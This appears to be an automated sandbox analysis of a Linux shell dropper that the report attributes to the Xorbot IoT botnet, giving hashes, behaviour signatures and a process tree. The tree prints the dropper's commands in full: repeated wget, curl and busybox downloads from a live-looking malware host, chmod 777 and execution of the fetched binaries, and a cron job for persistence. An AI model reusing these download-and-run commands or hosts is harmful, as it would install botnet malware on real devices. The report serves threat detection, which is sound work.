Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    20-02-2025 20:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a3ceaf947e73854eeafaa22fd0d0c171

  • SHA1

    82a6a99037dbacdc1026284357033d40bef30e06

  • SHA256

    9f2181c0686070d26fddf9a47d686b36f776346f558f9684c7ea269530fbf14a

  • SHA512

    03c0be1807e50fa0906590f5a9dcd21435ba3771d73d953a020c602f5b5aada6dc576f326c2d8c4c185b02765c5d154c5e148faa062d3933a854d4177fa064d7

  • SSDEEP

    192:ZX9yVNIXTM99e9G959E9g9DpThEVVNIXTLG9e9G959E9g9d:ZX9yVNIXTM9wMDKC1pThEVVNIXTLGwM3

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 13 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1525
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1526
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1527
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1531
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1533
      • /bin/chmod
        chmod 777 PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy
        2⤵
        • File and Directory Permissions Modification
        PID:1534
      • /tmp/PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy
        ./PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy
        2⤵
          PID:1535
        • /bin/rm
          rm PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy
          2⤵
            PID:1537
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK0
            2⤵
            • Writes file to tmp directory
            PID:1538
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK0
            2⤵
            • Writes file to tmp directory
            PID:1539
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK0
            2⤵
            • Writes file to tmp directory
            PID:1541
          • /bin/chmod
            chmod 777 4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK0
            2⤵
            • File and Directory Permissions Modification
            PID:1542
          • /tmp/4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK0
            ./4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK0
            2⤵
              PID:1543
            • /bin/rm
              rm 4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK0
              2⤵
                PID:1545
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N84
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1546
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N84
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1547
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N84
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1549
              • /bin/chmod
                chmod 777 oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N84
                2⤵
                • File and Directory Permissions Modification
                PID:1550
              • /tmp/oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N84
                ./oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N84
                2⤵
                  PID:1551
                • /bin/rm
                  rm oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N84
                  2⤵
                    PID:1553
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1554
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1555
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1557
                  • /bin/chmod
                    chmod 777 Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1558
                  • /tmp/Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH
                    ./Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH
                    2⤵
                      PID:1559
                    • /bin/rm
                      rm Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH
                      2⤵
                        PID:1561
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1562
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1563
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1565
                      • /bin/chmod
                        chmod 777 RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1566
                      • /tmp/RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF
                        ./RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        PID:1567
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:1569
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:1570
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:1571
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:1572
                            • /bin/rm
                              rm RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF
                              2⤵
                                PID:1574
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/5E4TlMZEHYcd2JTGzfD4fqmEej3mfo7LCm
                                2⤵
                                • System Network Configuration Discovery
                                PID:1577

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK0

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /tmp/RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N84

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /var/spool/cron/crontabs/tmp.CKfyRl

                              Filesize

                              210B

                              MD5

                              20dcc4c50ac73eb6378a58bbc8d56f45

                              SHA1

                              fb90b9bea28a9afda649a852cb93b33c03b174fb

                              SHA256

                              628116d8852baa90eae7a8a2f1e475fbc93b4b2e160cdf57959a618167009e30

                              SHA512

                              a778f137e0daeedcdd2fca6fdfde33bc1f50e08a56bacc68c931e9b9acd0dcff1434602ec022da719b1e213a24a8cb2f9dec9f3a343794a10707aec1dbad6300